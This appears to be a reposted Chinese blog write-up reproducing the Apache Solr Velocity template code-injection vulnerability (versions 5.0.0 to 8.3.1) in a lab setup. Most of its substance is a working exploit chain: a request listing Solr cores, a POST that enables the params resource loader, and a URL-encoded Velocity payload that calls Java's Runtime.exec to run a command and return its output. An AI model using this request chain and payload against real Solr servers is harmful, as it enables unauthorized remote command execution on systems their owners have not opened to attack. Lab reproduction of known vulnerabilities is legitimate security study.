Apache Solr代碼注入漏洞??
1.描述
Apache Solr是美國阿帕奇(Apache)軟體基金會的一款基于Lucene(一款全文搜索引擎)的搜索服務器,該產品支持層面搜索、垂直搜索、高亮顯示搜索結果等,
2.影響版本
- Apache Solr 5.0.0版本至8.3.1
3.環境
- 靶機:centos7
- 攻擊機:burpsuite
- 漏洞環境:Apache Solr8.2.0
4.漏洞成因
該漏洞源于外部輸入資料構造代碼段的程序中,網路系統或產品未正確過濾其中的特殊元素,攻擊者可利用該漏洞生成非法的代碼段,修改網路系統或組件的預期的執行控制流,
5.環境搭建
- 在centos7上面搭建Apache Solr
搭建程序參考上一篇文章:https://www.cnblogs.com/tzf1/p/15508689.html
搭建好了之后訪問IP獲得如下頁面:

默認情況下params.resource.loader.enabled配置未打開,無法使用自定義模板,我們先通過如下API獲取所有的核心:
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

通過如下請求開啟params.resource.loader.enabled,其中API路徑包含剛才獲取的core名稱
POST /solr/db/config HTTP/1.1
Host: 192.168.33.150:8983
Content-Type: application/json
Content-Length: 261
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

然后我們直接呼叫Velocity模板的就可以執行任意命令了:
http://your-ip:8983/solr/demo/select?
q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forNa
me(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($st
r=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.wait
For()+%23set($out=$ex.getInputStream())+%23foreach($i+in+
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/348195.html
標籤:其他
上一篇:攻防演練中攻擊方的思考
